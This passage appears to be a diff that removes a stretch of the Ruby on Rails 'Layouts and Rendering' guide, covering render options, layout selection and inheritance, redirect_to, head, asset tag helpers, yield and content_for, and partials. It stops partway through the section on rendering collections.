-Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the +action_name.html.erb+ template in the controller's view path and render it. So in this case, Rails will render the +app/views/books/index.html.erb+ file.
-
-If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
-
-<ruby>
-<h1>Listing Books</h1>
-
-<table>
-  <tr>
-    <th>Title</th>
-    <th>Summary</th>
-    <th></th>
-    <th></th>
-    <th></th>
-  </tr>
-
-<% @books.each do |book| %>
-  <tr>
-    <td><%= book.title %></td>
-    <td><%= book.content %></td>
-    <td><%= link_to 'Show', book %></td>
-    <td><%= link_to 'Edit', edit_book_path(book) %></td>
-    <td><%= link_to 'Remove', book, :confirm => 'Are you sure?', :method => :delete %></td>
-  </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New book', new_book_path %>
-</ruby>
-
-NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator).
-
-h4. Using +render+
-
-In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
-
-TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
-
-h5. Rendering Nothing
-
-Perhaps the simplest thing you can do with +render+ is to render nothing at all:
-
-<ruby>
-render :nothing => true
-</ruby>
-
-If you look at the response for this using cURL, you will see the following:
-
-<shell>
-$ curl -i 127.0.0.1:3000/books
-HTTP/1.1 200 OK
-Connection: close
-Date: Sun, 24 Jan 2010 09:25:18 GMT
-Transfer-Encoding: chunked
-Content-Type: */*; charset=utf-8
-X-Runtime: 0.014297
-Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
-Cache-Control: no-cache
-
-
- $
-</shell>
-
-We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed.
-
-TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
-
-h5. Rendering an Action's View
-
-If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
-
-<ruby>
-def update
-  @book = Book.find(params[:id])
-  if @book.update_attributes(params[:book])
-    redirect_to(@book)
-  else
-    render "edit"
-  end
-end
-</ruby>
-
-If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
-
-If you prefer, you can use a symbol instead of a string to specify the action to render:
-
-<ruby>
-def update
-  @book = Book.find(params[:id])
-  if @book.update_attributes(params[:book])
-    redirect_to(@book)
-  else
-    render :edit
-  end
-end
-</ruby>
-
-To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary in Rails 3.0):
-
-<ruby>
-def update
-  @book = Book.find(params[:id])
-  if @book.update_attributes(params[:book])
-    redirect_to(@book)
-  else
-    render :action => "edit"
-  end
-end
-</ruby>
-
-WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
-
-h5. Rendering an Action's Template from Another Controller
-
-What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
-
-<ruby>
-render 'products/show'
-</ruby>
-
-Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
-
-<ruby>
-render :template => 'products/show'
-</ruby>
-
-h5. Rendering an Arbitrary File
-
-The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
-
-<ruby>
-render "/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
-
-Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
-
-<ruby>
-render :file =>
-  "/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
-
-The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
-
-NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option.
-
-TIP: If you're running Rails on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
-
-h5. Wrapping it up
-
-The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
-
-In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the +edit.html.erb+ template in the +views/books+ directory:
-
-<ruby>
-render :edit
-render :action => :edit
-render 'edit'
-render 'edit.html.erb'
-render :action => 'edit'
-render :action => 'edit.html.erb'
-render 'books/edit'
-render 'books/edit.html.erb'
-render :template => 'books/edit'
-render :template => 'books/edit.html.erb'
-render '/path/to/rails/app/views/books/edit'
-render '/path/to/rails/app/views/books/edit.html.erb'
-render :file => '/path/to/rails/app/views/books/edit'
-render :file => '/path/to/rails/app/views/books/edit.html.erb'
-</ruby>
-
-Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
-
-h5. Using +render+ with +:inline+
-
-The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
-
-<ruby>
-render :inline =>
-  "<% products.each do |p| %><p><%= p.name %></p><% end %>"
-</ruby>
-
-WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
-
-By default, inline rendering uses ERB. You can force it to use Builder instead with the +:type+ option:
-
-<ruby>
-render :inline =>
-  "xml.p {'Horrid coding practice!'}", :type => :builder
-</ruby>
-
-h5. Rendering Text
-
-You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
-
-<ruby>
-render :text => "OK"
-</ruby>
-
-TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
-
-NOTE: By default, if you use the +:text+ option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option.
-
-h5. Rendering JSON
-
-JSON is a JavaScript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
-
-<ruby>
-render :json => @product
-</ruby>
-
-TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
-
-h5. Rendering XML
-
-Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
-
-<ruby>
-render :xml => @product
-</ruby>
-
-TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
-
-h5. Rendering Vanilla JavaScript
-
-Rails can render vanilla JavaScript:
-
-<ruby>
-render :js => "alert('Hello Rails');"
-</ruby>
-
-This will send the supplied string to the browser with a MIME type of +text/javascript+.
-
-h5. Options for +render+
-
-Calls to the +render+ method generally accept four options:
-
-* +:content_type+
-* +:layout+
-* +:status+
-* +:location+
-
-h6. The +:content_type+ Option
-
-By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
-
-<ruby>
-render :file => filename, :content_type => 'application/rss'
-</ruby>
-
-h6. The +:layout+ Option
-
-With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
-
-You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
-
-<ruby>
-render :layout => 'special_layout'
-</ruby>
-
-You can also tell Rails to render with no layout at all:
-
-<ruby>
-render :layout => false
-</ruby>
-
-h6. The +:status+ Option
-
-Rails will automatically generate a response with the correct HTTP status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
-
-<ruby>
-render :status => 500
-render :status => :forbidden
-</ruby>
-
-Rails understands both numeric and symbolic status codes.
-
-h6. The +:location+ Option
-
-You can use the +:location+ option to set the HTTP +Location+ header:
-
-<ruby>
-render :xml => photo, :location => photo_url(photo)
-</ruby>
-
-h5. Finding Layouts
-
-To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
-
-h6. Specifying Layouts for Controllers
-
-You can override the default layout conventions in your controllers by using the +layout+ declaration. For example:
-
-<ruby>
-class ProductsController < ApplicationController
-  layout "inventory"
-  #...
-end
-</ruby>
-
-With this declaration, all of the methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
-
-To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  layout "main"
-  #...
-end
-</ruby>
-
-With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
-
-h6. Choosing Layouts at Runtime
-
-You can use a symbol to defer the choice of layout until a request is processed:
-
-<ruby>
-class ProductsController < ApplicationController
-  layout :products_layout
-
-  def show
-    @product = Product.find(params[:id])
-  end
-
-  private
-    def products_layout
-      @current_user.special? ? "special" : "products"
-    end
-
-end
-</ruby>
-
-Now, if the current user is a special user, they'll get a special layout when viewing a product.
-
-You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request:
-
-<ruby>
-class ProductsController < ApplicationController
-  layout Proc.new { |controller| controller.request.xhr? ? 'popup' : 'application' }
-end
-</ruby>
-
-h6. Conditional Layouts
-
-Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
-
-<ruby>
-class ProductsController < ApplicationController
-  layout "product", :except => [:index, :rss]
-end
-</ruby>
-
-With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
-
-h6. Layout Inheritance
-
-Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
-
-* +application_controller.rb+
-
-<ruby>
-class ApplicationController < ActionController::Base
-  layout "main"
-end
-</ruby>
-
-* +posts_controller.rb+
-
-<ruby>
-class PostsController < ApplicationController
-end
-</ruby>
-
-* +special_posts_controller.rb+
-
-<ruby>
-class SpecialPostsController < PostsController
-  layout "special"
-end
-</ruby>
-
-* +old_posts_controller.rb+
-
-<ruby>
-class OldPostsController < SpecialPostsController
-  layout nil
-
-  def show
-    @post = Post.find(params[:id])
-  end
-
-  def index
-    @old_posts = Post.older
-    render :layout => "old"
-  end
-  # ...
-end
-</ruby>
-
-In this application:
-
-* In general, views will be rendered in the +main+ layout
-* +PostsController#index+ will use the +main+ layout
-* +SpecialPostsController#index+ will use the +special+ layout
-* +OldPostsController#show+ will use no layout at all
-* +OldPostsController#index+ will use the +old+ layout
-
-h5. Avoiding Double Render Errors
-
-Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
-
-For example, here's some code that will trigger this error:
-
-<ruby>
-def show
-  @book = Book.find(params[:id])
-  if @book.special?
-    render :action => "special_show"
-  end
-  render :action => "regular_show"
-end
-</ruby>
-
-If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +regular_show+ view - and throw an error. The solution is simple: make sure that you have only one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
-
-<ruby>
-def show
-  @book = Book.find(params[:id])
-  if @book.special?
-    render :action => "special_show" and return
-  end
-  render :action => "regular_show"
-end
-</ruby>
-
-Make sure to use +and return+ and not +&amp;&amp; return+, since +&amp;&amp; return+ will not work due to the operator precedence in the Ruby Language.
-
-Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors:
-
-<ruby>
-def show
-  @book = Book.find(params[:id])
-  if @book.special?
-    render :action => "special_show"
-  end
-end
-</ruby>
-
-This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
-
-h4. Using +redirect_to+
-
-Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
-
-<ruby>
-redirect_to photos_url
-</ruby>
-
-You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from:
-
-<ruby>
-redirect_to :back
-</ruby>
-
-h5. Getting a Different Redirect Status Code
-
-Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option:
-
-<ruby>
-redirect_to photos_path, :status => 301
-</ruby>
-
-Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
-
-h5. The Difference Between +render+ and +redirect_to+
-
-Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
-
-Consider these actions to see the difference:
-
-<ruby>
-def index
-  @books = Book.all
-end
-
-def show
-  @book = Book.find_by_id(params[:id])
-  if @book.nil?
-    render :action => "index"
-  end
-end
-</ruby>
-
-With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering:
-
-<ruby>
-def index
-  @books = Book.all
-end
-
-def show
-  @book = Book.find_by_id(params[:id])
-  if @book.nil?
-    redirect_to :action => :index
-  end
-end
-</ruby>
-
-With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
-
-The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.
-
-While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
-
-<ruby>
-def index
-  @books = Book.all
-end
-
-def show
-  @book = Book.find_by_id(params[:id])
-  if @book.nil?
-    @books = Book.all
-    render "index", :alert => 'Your book was not found!'
-  end
-end
-</ruby>
-
-This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened.
-
-h4. Using +head+ To Build Header-Only Responses
-
-The +head+ method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
-
-<ruby>
-head :bad_request
-</ruby>
-
-This would produce the following header:
-
-<shell>
-HTTP/1.1 400 Bad Request
-Connection: close
-Date: Sun, 24 Jan 2010 12:15:53 GMT
-Transfer-Encoding: chunked
-Content-Type: text/html; charset=utf-8
-X-Runtime: 0.013483
-Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
-Cache-Control: no-cache
-</shell>
-
-Or you can use other HTTP headers to convey other information:
-
-<ruby>
-head :created, :location => photo_path(@photo)
-</ruby>
-
-Which would produce:
-
-<shell>
-HTTP/1.1 201 Created
-Connection: close
-Date: Sun, 24 Jan 2010 12:16:44 GMT
-Transfer-Encoding: chunked
-Location: /photos/1
-Content-Type: text/html; charset=utf-8
-X-Runtime: 0.083496
-Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
-Cache-Control: no-cache
-</shell>
-
-h3. Structuring Layouts
-
-When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
-
-* Asset tags
-* +yield+ and +content_for+
-* Partials
-
-h4. Asset Tag Helpers
-
-Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:
-
-* +auto_discovery_link_tag+
-* +javascript_include_tag+
-* +stylesheet_link_tag+
-* +image_tag+
-* +video_tag+
-* +audio_tag+
-
-You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +&lt;head&gt;+ section of a layout.
-
-WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
-
-h5. Linking to Feeds with the +auto_discovery_link_tag+
-
-The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
-
-<erb>
-<%= auto_discovery_link_tag(:rss, {:action => "feed"},
-  {:title => "RSS Feed"}) %>
-</erb>
-
-There are three tag options available for the +auto_discovery_link_tag+:
-
-* +:rel+ specifies the +rel+ value in the link. The default value is "alternate".
-* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
-* +:title+ specifies the title of the link. The default value is the upshifted +:type+ value, for example, "ATOM" or "RSS".
-
-h5. Linking to JavaScript Files with the +javascript_include_tag+
-
-The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
-
-<erb>
-<%= javascript_include_tag "main" %>
-</erb>
-
-To include +public/javascripts/main.js+ and +public/javascripts/columns.js+:
-
-<erb>
-<%= javascript_include_tag "main", "columns" %>
-</erb>
-
-To include +public/javascripts/main.js+ and +public/photos/columns.js+:
-
-<erb>
-<%= javascript_include_tag "main", "/photos/columns" %>
-</erb>
-
-To include +http://example.com/main.js+:
-
-<erb>
-<%= javascript_include_tag "http://example.com/main.js" %>
-</erb>
-
-If the application does not use the asset pipeline, the +:defaults+ option loads jQuery by default:
-
-<erb>
-<%= javascript_include_tag :defaults %>
-</erb>
-
-And you can in any case override the expansion in <tt>config/application.rb</tt>:
-
-<ruby>
-config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js)
-</ruby>
-
-When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in <tt>public/javascripts</tt> it will be included as well at then end.
-
-Also, the +:all+ option loads every JavaScript file in +public/javascripts+:
-
-<erb>
-<%= javascript_include_tag :all %>
-</erb>
-
-Note that your defaults of choice will be included first, so they will be available to all subsequently included files.
-
-You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
-
-<erb>
-<%= javascript_include_tag :all, :recursive => true %>
-</erb>
-
-If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
-
-<erb>
-<%= javascript_include_tag "main", "columns", :cache => true %>
-</erb>
-
-By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
-
-<erb>
-<%= javascript_include_tag "main", "columns",
-  :cache => 'cache/main/display' %>
-</erb>
-
-You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-
-h5. Linking to CSS Files with the +stylesheet_link_tag+
-
-The +stylesheet_link_tag+ helper returns an HTML +&lt;link&gt;+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.css+:
-
-<erb>
-<%= stylesheet_link_tag "main" %>
-</erb>
-
-To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns" %>
-</erb>
-
-To include +public/stylesheets/main.css+ and +public/photos/columns.css+:
-
-<erb>
-<%= stylesheet_link_tag "main", "/photos/columns" %>
-</erb>
-
-To include +http://example.com/main.css+:
-
-<erb>
-<%= stylesheet_link_tag "http://example.com/main.css" %>
-</erb>
-
-By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+):
-
-<erb>
-<%= stylesheet_link_tag "main_print", :media => "print" %>
-</erb>
-
-The +all+ option links every CSS file in +public/stylesheets+:
-
-<erb>
-<%= stylesheet_link_tag :all %>
-</erb>
-
-You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
-
-<erb>
-<%= stylesheet_link_tag :all, :recursive => true %>
-</erb>
-
-If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns", :cache => true %>
-</erb>
-
-By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns",
-  :cache => 'cache/main/display' %>
-</erb>
-
-You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-
-h5. Linking to Images with the +image_tag+
-
-The +image_tag+ helper builds an HTML +&lt;img /&gt;+ tag to the specified file. By default, files are loaded from +public/images+.
-
-WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append +.png+ if no extension was given but Rails 3.0 does not.
-
-<erb>
-<%= image_tag "header.png" %>
-</erb>
-
-You can supply a path to the image if you like:
-
-<erb>
-<%= image_tag "icons/delete.gif" %>
-</erb>
-
-You can supply a hash of additional HTML options:
-
-<erb>
-<%= image_tag "icons/delete.gif", {:height => 45} %>
-</erb>
-
-You can also supply an alternate image to show on mouseover:
-
-<erb>
-<%= image_tag "home.gif", :onmouseover => "menu/home_highlight.gif" %>
-</erb>
-
-You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
-
-<erb>
-<%= image_tag "home.gif" %>
-<%= image_tag "home.gif", :alt => "Home" %>
-</erb>
-
-You can also specify a special size tag, in the format "{width}x{height}":
-
-<erb>
-<%= image_tag "home.gif", :size => "50x20" %>
-</erb>
-
-In addition to the above special tags, you can supply a final hash of standard HTML options, such as +:class+, +:id+ or +:name+:
-
-<erb>
-<%= image_tag "home.gif", :alt => "Go Home",
-                          :id => "HomeImage",
-                          :class => 'nav_bar' %>
-</erb>
-
-h5. Linking to Videos with the +video_tag+
-
-The +video_tag+ helper builds an HTML 5 +&lt;video&gt;+ tag to the specified file. By default, files are loaded from +public/videos+.
-
-<erb>
-<%= video_tag "movie.ogg" %>
-</erb>
-
-Produces
-
-<erb>
-<video src="/videos/movie.ogg" />
-</erb>
-
-Like an +image_tag+ you can supply a path, either absolute, or relative to the +public/videos+ directory. Additionally you can specify the +:size => "#{width}x#{height}"+ option just like an +image_tag+. Video tags can also have any of the HTML options specified at the end (+id+, +class+ et al).
-
-The video tag also supports all of the +&lt;video&gt;+ HTML options through the HTML options hash, including:
-
-* +:poster => 'image_name.png'+, provides an image to put in place of the video before it starts playing.
-* +:autoplay => true+, starts playing the video on page load.
-* +:loop => true+, loops the video once it gets to the end.
-* +:controls => true+, provides browser supplied controls for the user to interact with the video.
-* +:autobuffer => true+, the video will pre load the file for the user on page load.
-
-You can also specify multiple videos to play by passing an array of videos to the +video_tag+:
-
-<erb>
-<%= video_tag ["trailer.ogg", "movie.ogg"] %>
-</erb>
-
-This will produce:
-
-<erb>
-<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
-</erb>
-
-h5. Linking to Audio Files with the +audio_tag+
-
-The +audio_tag+ helper builds an HTML 5 +&lt;audio&gt;+ tag to the specified file. By default, files are loaded from +public/audios+.
-
-<erb>
-<%= audio_tag "music.mp3" %>
-</erb>
-
-You can supply a path to the audio file if you like:
-
-<erb>
-<%= audio_tag "music/first_song.mp3" %>
-</erb>
-
-You can also supply a hash of additional options, such as +:id+, +:class+ etc.
-
-Like the +video_tag+, the +audio_tag+ has special options:
-
-* +:autoplay => true+, starts playing the audio on page load
-* +:controls => true+, provides browser supplied controls for the user to interact with the audio.
-* +:autobuffer => true+, the audio will pre load the file for the user on page load.
-
-h4. Understanding +yield+
-
-Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
-
-<erb>
-<html>
-  <head>
-  </head>
-  <body>
-  <%= yield %>
-  </body>
-</html>
-</erb>
-
-You can also create a layout with multiple yielding regions:
-
-<erb>
-<html>
-  <head>
-  <%= yield :head %>
-  </head>
-  <body>
-  <%= yield %>
-  </body>
-</html>
-</erb>
-
-The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
-
-h4. Using the +content_for+ Method
-
-The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw:
-
-<erb>
-<% content_for :head do %>
-  <title>A simple page</title>
-<% end %>
-
-<p>Hello, Rails!</p>
-</erb>
-
-The result of rendering this page into the supplied layout would be this HTML:
-
-<erb>
-<html>
-  <head>
-  <title>A simple page</title>
-  </head>
-  <body>
-  <p>Hello, Rails!</p>
-  </body>
-</html>
-</erb>
-
-The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
-
-h4. Using Partials
-
-Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-
-h5. Naming Partials
-
-To render a partial as part of a view, you use the +render+ method within the view:
-
-<ruby>
-<%= render "menu" %>
-</ruby>
-
-This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-
-<ruby>
-<%= render "shared/menu" %>
-</ruby>
-
-That code will pull in the partial from +app/views/shared/_menu.html.erb+.
-
-h5. Using Partials to Simplify Views
-
-One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-
-<erb>
-<%= render "shared/ad_banner" %>
-
-<h1>Products</h1>
-
-<p>Here are a few of our fine products:</p>
-...
-
-<%= render "shared/footer" %>
-</erb>
-
-Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
-
-TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
-
-h5. Partial Layouts
-
-A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
-
-<erb>
-<%= render :partial => "link_area", :layout => "graybar" %>
-</erb>
-
-This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
-
-Also note that explicitly specifying +:partial+ is required when passing additional options such as +:layout+.
-
-h5. Passing Local Variables
-
-You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
-
-* +new.html.erb+
-
-<erb>
-<h1>New zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :zone => @zone } %>
-</erb>
-
-* +edit.html.erb+
-
-<erb>
-<h1>Editing zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :zone => @zone } %>
-</erb>
-
-* +_form.html.erb+
-
-<erb>
-<%= form_for(zone) do |f| %>
-  <p>
-    <b>Zone name</b><br />
-    <%= f.text_field :name %>
-  </p>
-  <p>
-    <%= f.submit %>
-  </p>
-<% end %>
-</erb>
-
-Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
-
-Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
-
-<erb>
-<%= render :partial => "customer", :object => @new_customer %>
-</erb>
-
-Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
-
-WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior was deprecated in 2.3 and has been removed in Rails 3.0.
-
-If you have an instance of a model to render into a partial, you can use a shorthand syntax:
-
-<erb>
-<%= render @customer %>
-</erb>
-
-Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it and will pass the local variable +customer+ into the partial which will refer to the +@customer+ instance variable in the parent view.
-
-h5. Rendering Collections
-
-Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
-
-* +index.html.erb+
-
-<erb>
-<h1>Products</h1>
-<%= render :partial => "product", :collection => @products %>
-</erb>
-
-* +_product.html.erb+
-
-<erb>
-<p>Product Name: <%= product.name %></p>
-</erb>
-
